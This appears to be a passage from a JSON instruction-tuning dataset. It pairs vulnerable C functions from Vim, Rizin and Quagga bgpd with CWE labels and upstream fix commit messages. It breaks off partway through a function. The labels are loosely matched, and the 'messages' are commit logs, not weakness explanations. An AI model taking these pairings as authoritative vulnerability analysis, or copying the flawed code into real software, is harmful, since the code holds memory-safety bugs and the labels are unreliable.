+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: do_tag(\n    char_u\t*tag,\t\t// tag (pattern) to jump to\n    int\t\ttype,\n    int\t\tcount,\n    int\t\tforceit,\t// :ta with !\n    int\t\tverbose)\t// print \"tag not found\" message\n{\n    taggy_T\t*tagstack = curwin->w_tagstack;\n    int\t\ttagstackidx = curwin->w_tagstackidx;\n    int\t\ttagstacklen = curwin->w_tagstacklen;\n    int\t\tcur_match = 0;\n    int\t\tcur_fnum = curbuf->b_fnum;\n    int\t\toldtagstackidx = tagstackidx;\n    int\t\tprevtagstackidx = tagstackidx;\n    int\t\tprev_num_matches;\n    int\t\tnew_tag = FALSE;\n    int\t\ti;\n    int\t\tic;\n    int\t\tno_regexp = FALSE;\n    int\t\terror_cur_match = 0;\n    int\t\tsave_pos = FALSE;\n    fmark_T\tsaved_fmark;\n#ifdef FEAT_CSCOPE\n    int\t\tjumped_to_tag = FALSE;\n#endif\n    int\t\tnew_num_matches;\n    char_u\t**new_matches;\n    int\t\tuse_tagstack;\n    int\t\tskip_msg = FALSE;\n    char_u\t*buf_ffname = curbuf->b_ffname;\t    // name to use for\n\t\t\t\t\t\t    // priority computation\n    int\t\tuse_tfu = 1;\n    char_u\t*tofree = NULL;\n\n    // remember the matches for the last used tag\n    static int\t\tnum_matches = 0;\n    static int\t\tmax_num_matches = 0;  // limit used for match search\n    static char_u\t**matches = NULL;\n    static int\t\tflags;\n\n#ifdef FEAT_EVAL\n    if (tfu_in_use)\n    {\n\temsg(_(e_cannot_modify_tag_stack_within_tagfunc));\n\treturn FALSE;\n    }\n#endif\n\n#ifdef EXITFREE\n    if (type == DT_FREE)\n    {\n\t// remove the list of matches\n\tFreeWild(num_matches, matches);\n# ifdef FEAT_CSCOPE\n\tcs_free_tags();\n# endif\n\tnum_matches = 0;\n\treturn FALSE;\n    }\n#endif\n\n    if (type == DT_HELP)\n    {\n\ttype = DT_TAG;\n\tno_regexp = TRUE;\n\tuse_tfu = 0;\n    }\n\n    prev_num_matches = num_matches;\n    free_string_option(nofile_fname);\n    nofile_fname = NULL;\n\n    CLEAR_POS(&saved_fmark.mark);\t// shutup gcc 4.0\n    saved_fmark.fnum = 0;\n\n    /*\n     * Don't add a tag to the tagstack if 'tagstack' has been reset.\n     */\n    if ((!p_tgst && *tag != NUL))\n    {\n\tuse_tagstack = FALSE;\n\tnew_tag = TRUE;\n#if defined(FEAT_QUICKFIX)\n\tif (g_do_tagpreview != 0)\n\t{\n\t    tagstack_clear_entry(&ptag_entry);\n\t    if ((ptag_entry.tagname = vim_strsave(tag)) == NULL)\n\t\tgoto end_do_tag;\n\t}\n#endif\n    }\n    else\n    {\n#if defined(FEAT_QUICKFIX)\n\tif (g_do_tagpreview != 0)\n\t    use_tagstack = FALSE;\n\telse\n#endif\n\t    use_tagstack = TRUE;\n\n\t// new pattern, add to the tag stack\n\tif (*tag != NUL\n\t\t&& (type == DT_TAG || type == DT_SELECT || type == DT_JUMP\n#ifdef FEAT_QUICKFIX\n\t\t    || type == DT_LTAG\n#endif\n#ifdef FEAT_CSCOPE\n\t\t    || type == DT_CSCOPE\n#endif\n\t\t    ))\n\t{\n#if defined(FEAT_QUICKFIX)\n\t    if (g_do_tagpreview != 0)\n\t    {\n\t\tif (ptag_entry.tagname != NULL\n\t\t\t&& STRCMP(ptag_entry.tagname, tag) == 0)\n\t\t{\n\t\t    // Jumping to same tag: keep the current match, so that\n\t\t    // the CursorHold autocommand example works.\n\t\t    cur_match = ptag_entry.cur_match;\n\t\t    cur_fnum = ptag_entry.cur_fnum;\n\t\t}\n\t\telse\n\t\t{\n\t\t    tagstack_clear_entry(&ptag_entry);\n\t\t    if ((ptag_entry.tagname = vim_strsave(tag)) == NULL)\n\t\t\tgoto end_do_tag;\n\t\t}\n\t    }\n\t    else\n#endif\n\t    {\n\t\t/*\n\t\t * If the last used entry is not at the top, delete all tag\n\t\t * stack entries above it.\n\t\t */\n\t\twhile (tagstackidx < tagstacklen)\n\t\t    tagstack_clear_entry(&tagstack[--tagstacklen]);\n\n\t\t// if the tagstack is full: remove oldest entry\n\t\tif (++tagstacklen > TAGSTACKSIZE)\n\t\t{\n\t\t    tagstacklen = TAGSTACKSIZE;\n\t\t    tagstack_clear_entry(&tagstack[0]);\n\t\t    for (i = 1; i < tagstacklen; ++i)\n\t\t\ttagstack[i - 1] = tagstack[i];\n\t\t    --tagstackidx;\n\t\t}\n\n\t\t/*\n\t\t * put the tag name in the tag stack\n\t\t */\n\t\tif ((tagstack[tagstackidx].tagname = vim_strsave(tag)) == NULL)\n\t\t{\n\t\t    curwin->w_tagstacklen = tagstacklen - 1;\n\t\t    goto end_do_tag;\n\t\t}\n\t\tcurwin->w_tagstacklen = tagstacklen;\n\n\t\tsave_pos = TRUE;\t// save the cursor position below\n\t    }\n\n\t    new_tag = TRUE;\n\t}\n\telse\n\t{\n\t    if (\n#if defined(FEAT_QUICKFIX)\n\t\t    g_do_tagpreview != 0 ? ptag_entry.tagname == NULL :\n#endif\n\t\t    tagstacklen == 0)\n\t    {\n\t\t// empty stack\n\t\temsg(_(e_tag_stack_empty));\n\t\tgoto end_do_tag;\n\t    }\n\n\t    if (type == DT_POP)\t\t// go to older position\n\t    {\n#ifdef FEAT_FOLDING\n\t\tint\told_KeyTyped = KeyTyped;\n#endif\n\t\tif ((tagstackidx -= count) < 0)\n\t\t{\n\t\t    emsg(_(e_at_bottom_of_tag_stack));\n\t\t    if (tagstackidx + count == 0)\n\t\t    {\n\t\t\t// We did [num]^T from the bottom of the stack\n\t\t\ttagstackidx = 0;\n\t\t\tgoto end_do_tag;\n\t\t    }\n\t\t    // We weren't at the bottom of the stack, so jump all the\n\t\t    // way to the bottom now.\n\t\t    tagstackidx = 0;\n\t\t}\n\t\telse if (tagstackidx >= tagstacklen)    // count == 0?\n\t\t{\n\t\t    emsg(_(e_at_top_of_tag_stack));\n\t\t    goto end_do_tag;\n\t\t}\n\n\t\t// Make a copy of the fmark, autocommands may invalidate the\n\t\t// tagstack before it's used.\n\t\tsaved_fmark = tagstack[tagstackidx].fmark;\n\t\tif (saved_fmark.fnum != curbuf->b_fnum)\n\t\t{\n\t\t    /*\n\t\t     * Jump to other file. If this fails (e.g. because the\n\t\t     * file was changed) keep original position in tag stack.\n\t\t     */\n\t\t    if (buflist_getfile(saved_fmark.fnum, saved_fmark.mark.lnum,\n\t\t\t\t\t       GETF_SETMARK, forceit) == FAIL)\n\t\t    {\n\t\t\ttagstackidx = oldtagstackidx;  // back to old posn\n\t\t\tgoto end_do_tag;\n\t\t    }\n\t\t    // An BufReadPost autocommand may jump to the '\" mark, but\n\t\t    // we don't what that here.\n\t\t    curwin->w_cursor.lnum = saved_fmark.mark.lnum;\n\t\t}\n\t\telse\n\t\t{\n\t\t    setpcmark();\n\t\t    curwin->w_cursor.lnum = saved_fmark.mark.lnum;\n\t\t}\n\t\tcurwin->w_cursor.col = saved_fmark.mark.col;\n\t\tcurwin->w_set_curswant = TRUE;\n\t\tcheck_cursor();\n#ifdef FEAT_FOLDING\n\t\tif ((fdo_flags & FDO_TAG) && old_KeyTyped)\n\t\t    foldOpenCursor();\n#endif\n\n\t\t// remove the old list of matches\n\t\tFreeWild(num_matches, matches);\n#ifdef FEAT_CSCOPE\n\t\tcs_free_tags();\n#endif\n\t\tnum_matches = 0;\n\t\ttag_freematch();\n\t\tgoto end_do_tag;\n\t    }\n\n\t    if (type == DT_TAG\n#if defined(FEAT_QUICKFIX)\n\t\t    || type == DT_LTAG\n#endif\n\t       )\n\t    {\n#if defined(FEAT_QUICKFIX)\n\t\tif (g_do_tagpreview != 0)\n\t\t{\n\t\t    cur_match = ptag_entry.cur_match;\n\t\t    cur_fnum = ptag_entry.cur_fnum;\n\t\t}\n\t\telse\n#endif\n\t\t{\n\t\t    // \":tag\" (no argument): go to newer pattern\n\t\t    save_pos = TRUE;\t// save the cursor position below\n\t\t    if ((tagstackidx += count - 1) >= tagstacklen)\n\t\t    {\n\t\t\t/*\n\t\t\t * Beyond the last one, just give an error message and\n\t\t\t * go to the last one.  Don't store the cursor\n\t\t\t * position.\n\t\t\t */\n\t\t\ttagstackidx = tagstacklen - 1;\n\t\t\temsg(_(e_at_top_of_tag_stack));\n\t\t\tsave_pos = FALSE;\n\t\t    }\n\t\t    else if (tagstackidx < 0)\t// must have been count == 0\n\t\t    {\n\t\t\temsg(_(e_at_bottom_of_tag_stack));\n\t\t\ttagstackidx = 0;\n\t\t\tgoto end_do_tag;\n\t\t    }\n\t\t    cur_match = tagstack[tagstackidx].cur_match;\n\t\t    cur_fnum = tagstack[tagstackidx].cur_fnum;\n\t\t}\n\t\tnew_tag = TRUE;\n\t    }\n\t    else\t\t\t\t// go to other matching tag\n\t    {\n\t\t// Save index for when selection is cancelled.\n\t\tprevtagstackidx = tagstackidx;\n\n#if defined(FEAT_QUICKFIX)\n\t\tif (g_do_tagpreview != 0)\n\t\t{\n\t\t    cur_match = ptag_entry.cur_match;\n\t\t    cur_fnum = ptag_entry.cur_fnum;\n\t\t}\n\t\telse\n#endif\n\t\t{\n\t\t    if (--tagstackidx < 0)\n\t\t\ttagstackidx = 0;\n\t\t    cur_match = tagstack[tagstackidx].cur_match;\n\t\t    cur_fnum = tagstack[tagstackidx].cur_fnum;\n\t\t}\n\t\tswitch (type)\n\t\t{\n\t\t    case DT_FIRST: cur_match = count - 1; break;\n\t\t    case DT_SELECT:\n\t\t    case DT_JUMP:\n#ifdef FEAT_CSCOPE\n\t\t    case DT_CSCOPE:\n#endif\n\t\t    case DT_LAST:  cur_match = MAXCOL - 1; break;\n\t\t    case DT_NEXT:  cur_match += count; break;\n\t\t    case DT_PREV:  cur_match -= count; break;\n\t\t}\n\t\tif (cur_match >= MAXCOL)\n\t\t    cur_match = MAXCOL - 1;\n\t\telse if (cur_match < 0)\n\t\t{\n\t\t    emsg(_(e_cannot_go_before_first_matching_tag));\n\t\t    skip_msg = TRUE;\n\t\t    cur_match = 0;\n\t\t    cur_fnum = curbuf->b_fnum;\n\t\t}\n\t    }\n\t}\n\n#if defined(FEAT_QUICKFIX)\n\tif (g_do_tagpreview != 0)\n\t{\n\t    if (type != DT_SELECT && type != DT_JUMP)\n\t    {\n\t\tptag_entry.cur_match = cur_match;\n\t\tptag_entry.cur_fnum = cur_fnum;\n\t    }\n\t}\n\telse\n#endif\n\t{\n\t    /*\n\t     * For \":tag [arg]\" or \":tselect\" remember position before the jump.\n\t     */\n\t    saved_fmark = tagstack[tagstackidx].fmark;\n\t    if (save_pos)\n\t    {\n\t\ttagstack[tagstackidx].fmark.mark = curwin->w_cursor;\n\t\ttagstack[tagstackidx].fmark.fnum = curbuf->b_fnum;\n\t    }\n\n\t    // Curwin will change in the call to jumpto_tag() if \":stag\" was\n\t    // used or an autocommand jumps to another window; store value of\n\t    // tagstackidx now.\n\t    curwin->w_tagstackidx = tagstackidx;\n\t    if (type != DT_SELECT && type != DT_JUMP)\n\t    {\n\t\tcurwin->w_tagstack[tagstackidx].cur_match = cur_match;\n\t\tcurwin->w_tagstack[tagstackidx].cur_fnum = cur_fnum;\n\t    }\n\t}\n    }\n\n    // When not using the current buffer get the name of buffer \"cur_fnum\".\n    // Makes sure that the tag order doesn't change when using a remembered\n    // position for \"cur_match\".\n    if (cur_fnum != curbuf->b_fnum)\n    {\n\tbuf_T *buf = buflist_findnr(cur_fnum);\n\n\tif (buf != NULL)\n\t    buf_ffname = buf->b_ffname;\n    }\n\n    /*\n     * Repeat searching for tags, when a file has not been found.\n     */\n    for (;;)\n    {\n\tint\tother_name;\n\tchar_u\t*name;\n\n\t/*\n\t * When desired match not found yet, try to find it (and others).\n\t */\n\tif (use_tagstack)\n\t{\n\t    // make a copy, the tagstack may change in 'tagfunc'\n\t    name = vim_strsave(tagstack[tagstackidx].tagname);\n\t    vim_free(tofree);\n\t    tofree = name;\n\t}\n#if defined(FEAT_QUICKFIX)\n\telse if (g_do_tagpreview != 0)\n\t    name = ptag_entry.tagname;\n#endif\n\telse\n\t    name = tag;\n\tother_name = (tagmatchname == NULL || STRCMP(tagmatchname, name) != 0);\n\tif (new_tag\n\t\t|| (cur_match >= num_matches && max_num_matches != MAXCOL)\n\t\t|| other_name)\n\t{\n\t    if (other_name)\n\t    {\n\t\tvim_free(tagmatchname);\n\t\ttagmatchname = vim_strsave(name);\n\t    }\n\n\t    if (type == DT_SELECT || type == DT_JUMP\n#if defined(FEAT_QUICKFIX)\n\t\t|| type == DT_LTAG\n#endif\n\t\t)\n\t\tcur_match = MAXCOL - 1;\n\t    if (type == DT_TAG)\n\t\tmax_num_matches = MAXCOL;\n\t    else\n\t\tmax_num_matches = cur_match + 1;\n\n\t    // when the argument starts with '/', use it as a regexp\n\t    if (!no_regexp && *name == '/')\n\t    {\n\t\tflags = TAG_REGEXP;\n\t\t++name;\n\t    }\n\t    else\n\t\tflags = TAG_NOIC;\n\n#ifdef FEAT_CSCOPE\n\t    if (type == DT_CSCOPE)\n\t\tflags = TAG_CSCOPE;\n#endif\n\t    if (verbose)\n\t\tflags |= TAG_VERBOSE;\n\n\t    if (!use_tfu)\n\t\tflags |= TAG_NO_TAGFUNC;\n\n\t    if (find_tags(name, &new_num_matches, &new_matches, flags,\n\t\t\t\t\t    max_num_matches, buf_ffname) == OK\n\t\t    && new_num_matches < max_num_matches)\n\t\tmax_num_matches = MAXCOL; // If less than max_num_matches\n\t\t\t\t\t  // found: all matches found.\n\n\t    // If there already were some matches for the same name, move them\n\t    // to the start.  Avoids that the order changes when using\n\t    // \":tnext\" and jumping to another file.\n\t    if (!new_tag && !other_name)\n\t    {\n\t\tint\t    j, k;\n\t\tint\t    idx = 0;\n\t\ttagptrs_T   tagp, tagp2;\n\n\t\t// Find the position of each old match in the new list.  Need\n\t\t// to use parse_match() to find the tag line.\n\t\tfor (j = 0; j < num_matches; ++j)\n\t\t{\n\t\t    parse_match(matches[j], &tagp);\n\t\t    for (i = idx; i < new_num_matches; ++i)\n\t\t    {\n\t\t\tparse_match(new_matches[i], &tagp2);\n\t\t\tif (STRCMP(tagp.tagname, tagp2.tagname) == 0)\n\t\t\t{\n\t\t\t    char_u *p = new_matches[i];\n\t\t\t    for (k = i; k > idx; --k)\n\t\t\t\tnew_matches[k] = new_matches[k - 1];\n\t\t\t    new_matches[idx++] = p;\n\t\t\t    break;\n\t\t\t}\n\t\t    }\n\t\t}\n\t    }\n\t    FreeWild(num_matches, matches);\n\t    num_matches = new_num_matches;\n\t    matches = new_matches;\n\t}\n\n\tif (num_matches <= 0)\n\t{\n\t    if (verbose)\n\t\tsemsg(_(e_tag_not_found_str), name);\n#if defined(FEAT_QUICKFIX)\n\t    g_do_tagpreview = 0;\n#endif\n\t}\n\telse\n\t{\n\t    int ask_for_selection = FALSE;\n\n#ifdef FEAT_CSCOPE\n\t    if (type == DT_CSCOPE && num_matches > 1)\n\t    {\n\t\tcs_print_tags();\n\t\task_for_selection = TRUE;\n\t    }\n\t    else\n#endif\n\t    if (type == DT_TAG && *tag != NUL)\n\t\t// If a count is supplied to the \":tag \" command, then\n\t\t// jump to count'th matching tag.\n\t\tcur_match = count > 0 ? count - 1 : 0;\n\t    else if (type == DT_SELECT || (type == DT_JUMP && num_matches > 1))\n\t    {\n\t\tprint_tag_list(new_tag, use_tagstack, num_matches, matches);\n\t\task_for_selection = TRUE;\n\t    }\n#if defined(FEAT_QUICKFIX) && defined(FEAT_EVAL)\n\t    else if (type == DT_LTAG)\n\t    {\n\t\tif (add_llist_tags(tag, num_matches, matches) == FAIL)\n\t\t    goto end_do_tag;\n\t\tcur_match = 0;\t\t// Jump to the first tag\n\t    }\n#endif\n\n\t    if (ask_for_selection == TRUE)\n\t    {\n\t\t/*\n\t\t * Ask to select a tag from the list.\n\t\t */\n\t\ti = prompt_for_number(NULL);\n\t\tif (i <= 0 || i > num_matches || got_int)\n\t\t{\n\t\t    // no valid choice: don't change anything\n\t\t    if (use_tagstack)\n\t\t    {\n\t\t\ttagstack[tagstackidx].fmark = saved_fmark;\n\t\t\ttagstackidx = prevtagstackidx;\n\t\t    }\n#ifdef FEAT_CSCOPE\n\t\t    cs_free_tags();\n\t\t    jumped_to_tag = TRUE;\n#endif\n\t\t    break;\n\t\t}\n\t\tcur_match = i - 1;\n\t    }\n\n\t    if (cur_match >= num_matches)\n\t    {\n\t\t// Avoid giving this error when a file wasn't found and we're\n\t\t// looking for a match in another file, which wasn't found.\n\t\t// There will be an emsg(\"file doesn't exist\") below then.\n\t\tif ((type == DT_NEXT || type == DT_FIRST)\n\t\t\t\t\t\t      && nofile_fname == NULL)\n\t\t{\n\t\t    if (num_matches == 1)\n\t\t\temsg(_(e_there_is_only_one_matching_tag));\n\t\t    else\n\t\t\temsg(_(e_cannot_go_beyond_last_matching_tag));\n\t\t    skip_msg = TRUE;\n\t\t}\n\t\tcur_match = num_matches - 1;\n\t    }\n\t    if (use_tagstack)\n\t    {\n\t\ttagptrs_T   tagp;\n\n\t\ttagstack[tagstackidx].cur_match = cur_match;\n\t\ttagstack[tagstackidx].cur_fnum = cur_fnum;\n\n\t\t// store user-provided data originating from tagfunc\n\t\tif (use_tfu && parse_match(matches[cur_match], &tagp) == OK\n\t\t\t&& tagp.user_data)\n\t\t{\n\t\t    VIM_CLEAR(tagstack[tagstackidx].user_data);\n\t\t    tagstack[tagstackidx].user_data = vim_strnsave(\n\t\t\t  tagp.user_data, tagp.user_data_end - tagp.user_data);\n\t\t}\n\n\t\t++tagstackidx;\n\t    }\n#if defined(FEAT_QUICKFIX)\n\t    else if (g_do_tagpreview != 0)\n\t    {\n\t\tptag_entry.cur_match = cur_match;\n\t\tptag_entry.cur_fnum = cur_fnum;\n\t    }\n#endif\n\n\t    /*\n\t     * Only when going to try the next match, report that the previous\n\t     * file didn't exist.  Otherwise an emsg() is given below.\n\t     */\n\t    if (nofile_fname != NULL && error_cur_match != cur_match)\n\t\tsmsg(_(\"File \\\"%s\\\" does not exist\"), nofile_fname);\n\n\n\t    ic = (matches[cur_match][0] & MT_IC_OFF);\n\t    if (type != DT_TAG && type != DT_SELECT && type != DT_JUMP\n#ifdef FEAT_CSCOPE\n\t\t&& type != DT_CSCOPE\n#endif\n\t\t&& (num_matches > 1 || ic)\n\t\t&& !skip_msg)\n\t    {\n\t\t// Give an indication of the number of matching tags\n\t\tsprintf((char *)IObuff, _(\"tag %d of %d%s\"),\n\t\t\t\tcur_match + 1,\n\t\t\t\tnum_matches,\n\t\t\t\tmax_num_matches != MAXCOL ? _(\" or more\") : \"\");\n\t\tif (ic)\n\t\t    STRCAT(IObuff, _(\"  Using tag with different case!\"));\n\t\tif ((num_matches > prev_num_matches || new_tag)\n\t\t\t\t\t\t\t   && num_matches > 1)\n\t\t{\n\t\t    if (ic)\n\t\t\tmsg_attr((char *)IObuff, HL_ATTR(HLF_W));\n\t\t    else\n\t\t\tmsg((char *)IObuff);\n\t\t    msg_scroll = TRUE;\t// don't overwrite this message\n\t\t}\n\t\telse\n\t\t    give_warning(IObuff, ic);\n\t\tif (ic && !msg_scrolled && msg_silent == 0)\n\t\t{\n\t\t    out_flush();\n\t\t    ui_delay(1007L, TRUE);\n\t\t}\n\t    }\n\n#if defined(FEAT_EVAL)\n\t    // Let the SwapExists event know what tag we are jumping to.\n\t    vim_snprintf((char *)IObuff, IOSIZE, \":ta %s\\r\", name);\n\t    set_vim_var_string(VV_SWAPCOMMAND, IObuff, -1);\n#endif\n\n\t    /*\n\t     * Jump to the desired match.\n\t     */\n\t    i = jumpto_tag(matches[cur_match], forceit, type != DT_CSCOPE);\n\n#if defined(FEAT_EVAL)\n\t    set_vim_var_string(VV_SWAPCOMMAND, NULL, -1);\n#endif\n\n\t    if (i == NOTAGFILE)\n\t    {\n\t\t// File not found: try again with another matching tag\n\t\tif ((type == DT_PREV && cur_match > 0)\n\t\t\t|| ((type == DT_TAG || type == DT_NEXT\n\t\t\t\t\t\t\t  || type == DT_FIRST)\n\t\t\t    && (max_num_matches != MAXCOL\n\t\t\t\t\t     || cur_match < num_matches - 1)))\n\t\t{\n\t\t    error_cur_match = cur_match;\n\t\t    if (use_tagstack)\n\t\t\t--tagstackidx;\n\t\t    if (type == DT_PREV)\n\t\t\t--cur_match;\n\t\t    else\n\t\t    {\n\t\t\ttype = DT_NEXT;\n\t\t\t++cur_match;\n\t\t    }\n\t\t    continue;\n\t\t}\n\t\tsemsg(_(e_file_str_does_not_exist), nofile_fname);\n\t    }\n\t    else\n\t    {\n\t\t// We may have jumped to another window, check that\n\t\t// tagstackidx is still valid.\n\t\tif (use_tagstack && tagstackidx > curwin->w_tagstacklen)\n\t\t    tagstackidx = curwin->w_tagstackidx;\n#ifdef FEAT_CSCOPE\n\t\tjumped_to_tag = TRUE;\n#endif\n\t    }\n\t}\n\tbreak;\n    }\n\nend_do_tag:\n    // Only store the new index when using the tagstack and it's valid.\n    if (use_tagstack && tagstackidx <= curwin->w_tagstacklen)\n\tcurwin->w_tagstackidx = tagstackidx;\n    postponed_split = 0;\t// don't split next time\n# ifdef FEAT_QUICKFIX\n    g_do_tagpreview = 0;\t// don't do tag preview next time\n# endif\n\n    vim_free(tofree);\n#ifdef FEAT_CSCOPE\n    return jumped_to_tag;\n#else\n    return FALSE;\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'patch 9.0.0389: crash when 'tagfunc' closes the window\n\nProblem:    Crash when 'tagfunc' closes the window.\nSolution:   Bail out when the window was closed.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static RzList *entries(RzBinFile *bf) {\n\tif (!bf) {\n\t\treturn NULL;\n\t}\n\tLuacBinInfo *bin_info_obj = GET_INTERNAL_BIN_INFO_OBJ(bf);\n\tif (!bin_info_obj) {\n\t\treturn NULL;\n\t}\n\n\treturn bin_info_obj->entry_list;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-787'], 'message': 'Fix oob read on _luac_build_info and luac memleaks'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bgp_capability_vty_out (struct vty *vty, struct peer *peer)\n{\n  char *pnt;\n  char *end;\n  struct capability cap;\n\n  pnt = peer->notify.data;\n  end = pnt + peer->notify.length;\n\n  while (pnt < end)\n    {\n      memcpy(&cap, pnt, sizeof(struct capability));\n\n      if (pnt + 2 > end)\n\treturn;\n      if (pnt + (cap.length + 2) > end)\n\treturn;\n\n      if (cap.code == CAPABILITY_CODE_MP)\n\t{\n\t  vty_out (vty, \"  Capability error for: Multi protocol \");\n\n\t  switch (ntohs (cap.mpc.afi))\n\t    {\n\t    case AFI_IP:\n\t      vty_out (vty, \"AFI IPv4, \");\n\t      break;\n\t    case AFI_IP6:\n\t      vty_out (vty, \"AFI IPv6, \");\n\t      break;\n\t    default:\n\t      vty_out (vty, \"AFI Unknown %d, \", ntohs (cap.mpc.afi));\n\t      break;\n\t    }\n\t  switch (cap.mpc.safi)\n\t    {\n\t    case SAFI_UNICAST:\n\t      vty_out (vty, \"SAFI Unicast\");\n\t      break;\n\t    case SAFI_MULTICAST:\n\t      vty_out (vty, \"SAFI Multicast\");\n\t      break;\n\t    case SAFI_UNICAST_MULTICAST:\n\t      vty_out (vty, \"SAFI Unicast Multicast\");\n\t      break;\n\t    case BGP_SAFI_VPNV4:\n\t      vty_out (vty, \"SAFI MPLS-VPN\");\n\t      break;\n\t    default:\n\t      vty_out (vty, \"SAFI Unknown %d \", cap.mpc.safi);\n\t      break;\n\t    }\n\t  vty_out (vty, \"%s\", VTY_NEWLINE);\n\t}\n      else if (cap.code >= 128)\n\tvty_out (vty, \"  Capability error: vendor specific capability code %d\",\n\t\t cap.code);\n      else\n\tvty_out (vty, \"  Capability error: unknown capability code %d\", \n\t\t cap.code);\n\n      pnt += cap.length + 2;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': '[bgpd] cleanup, compact and consolidate capability parsing code\n\n2007-07-26 Paul Jakma \n\n\t* (general) Clean up and compact capability parsing slightly.\n\t  Consolidate validation of length and logging of generic TLV, and\n\t  memcpy of capability data, thus removing such from cap specifc\n\t  code (not always present or correct).\n\t* bgp_open.h: Add structures for the generic capability TLV header\n\t  and for the data formats of the various specific capabilities we\n\t  support.  Hence remove the badly named, or else misdefined, struct\n\t  capability.\n\t* bgp_open.c: (bgp_capability_vty_out) Use struct capability_mp_data.\n\t  Do the length checks *before* memcpy()'ing based on that length\n\t  (stored capability - should have been validated anyway on input,\n\t  but..).\n\t  (bgp_afi_safi_valid_indices) new function to validate (afi,safi)\n\t  which is about to be used as index into arrays, consolidates\n\t  several instances of same, at least one of which appeared to be\n\t  incomplete..\n\t  (bgp_capability_mp) Much condensed.\n\t  (bgp_capability_orf_entry) New, process one ORF entry\n\t  (bgp_capability_orf) Condensed. Fixed to process all ORF entries.\n\t  (bgp_capability_restart) Condensed, and fixed to use a\n\t  cap-specific type, rather than abusing capability_mp.\n\t  (struct message capcode_str) added to aid generic logging.\n\t  (size_t cap_minsizes[]) added to aid generic validation of\n\t  capability length field.\n\t  (bgp_capability_parse) Generic logging and validation of TLV\n\t  consolidated here. Code compacted as much as possible.\n\t* bgp_packet.c: (bgp_open_receive) Capability parsers now use\n\t  streams, so no more need here to manually fudge the input stream\n\t  getp.\n\t  (bgp_capability_msg_parse) use struct capability_mp_data. Validate\n\t  lengths /before/ memcpy. Use bgp_afi_safi_valid_indices.\n\t  (bgp_capability_receive) Exported for use by test harness.\n\t* bgp_vty.c: (bgp_show_summary) fix conversion warning\n\t  (bgp_show_peer) ditto\n\t* bgp_debug.h: Fix storage 'extern' after type 'const'.\n        * lib/log.c: (mes_lookup) warning about code not being in\n          same-number array slot should be debug, not warning. E.g. BGP\n          has several discontigious number spaces, allocating from\n          different parts of a space is not uncommon (e.g. IANA\n          assigned versus vendor-assigned code points in some number\n          space).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bgp_capability_parse (struct peer *peer, u_char *pnt, u_char length,\n\t\t      u_char **error)\n{\n  int ret;\n  u_char *end;\n  struct capability cap;\n\n  end = pnt + length;\n\n  while (pnt < end)\n    {\n      afi_t afi;\n      safi_t safi;\n\n      /* Fetch structure to the byte stream. */\n      memcpy (&cap, pnt, sizeof (struct capability));\n\n      afi = ntohs(cap.mpc.afi);\n      safi = cap.mpc.safi;\n\n      if (BGP_DEBUG (normal, NORMAL))\n\tzlog_debug (\"%s OPEN has CAPABILITY code: %d, length %d\",\n\t\t   peer->host, cap.code, cap.length);\n\n      /* We need at least capability code and capability length. */\n      if (pnt + 2 > end)\n\t{\n\t  zlog_info (\"%s Capability length error\", peer->host);\n\t  bgp_notify_send (peer, BGP_NOTIFY_CEASE, 0);\n\t  return -1;\n\t}\n\n      /* Capability length check. */\n      if (pnt + (cap.length + 2) > end)\n\t{\n\t  zlog_info (\"%s Capability length error\", peer->host);\n\t  bgp_notify_send (peer, BGP_NOTIFY_CEASE, 0);\n\t  return -1;\n\t}\n\n      /* We know MP Capability Code. */\n      if (cap.code == CAPABILITY_CODE_MP)\n\t{\n\t  if (BGP_DEBUG (normal, NORMAL))\n\t    zlog_debug (\"%s OPEN has MP_EXT CAP for afi/safi: %u/%u\",\n\t\t       peer->host, afi, safi);\n\n\t  /* Ignore capability when override-capability is set. */\n\t  if (! CHECK_FLAG (peer->flags, PEER_FLAG_OVERRIDE_CAPABILITY))\n\t    {\n\t      /* Set negotiated value. */\n\t      ret = bgp_capability_mp (peer, &cap);\n\n\t      /* Unsupported Capability. */\n\t      if (ret < 0)\n\t\t{\n\t\t  /* Store return data. */\n\t\t  memcpy (*error, &cap, cap.length + 2);\n\t\t  *error += cap.length + 2;\n\t\t}\n\t    }\n\t}\n      else if (cap.code == CAPABILITY_CODE_REFRESH\n\t       || cap.code == CAPABILITY_CODE_REFRESH_OLD)\n\t{\n\t  /* Check length. */\n\t  if (cap.length != CAPABILITY_CODE_REFRESH_LEN)\n\t    {\n\t      zlog_info (\"%s Route Refresh Capability length error %d\",\n\t\t\t peer->host, cap.length);\n\t      bgp_notify_send (peer, BGP_NOTIFY_CEASE, 0);\n\t      return -1;\n\t    }\n\n\t  if (BGP_DEBUG (normal, NORMAL))\n\t    zlog_debug (\"%s OPEN has ROUTE-REFRESH capability(%s) for all address-families\",\n\t\t       peer->host,\n\t\t       cap.code == CAPABILITY_CODE_REFRESH_OLD ? \"old\" : \"new\");\n\n\t  /* BGP refresh capability */\n\t  if (cap.code == CAPABILITY_CODE_REFRESH_OLD)\n\t    SET_FLAG (peer->cap, PEER_CAP_REFRESH_OLD_RCV);\n\t  else\n\t    SET_FLAG (peer->cap, PEER_CAP_REFRESH_NEW_RCV);\n\t}\n      else if (cap.code == CAPABILITY_CODE_ORF\n\t       || cap.code == CAPABILITY_CODE_ORF_OLD)\n\tbgp_capability_orf (peer, &cap, pnt + sizeof (struct capability));\n      else if (cap.code == CAPABILITY_CODE_RESTART)\n       {\n         struct graceful_restart_af graf;\n         u_int16_t restart_flag_time;\n         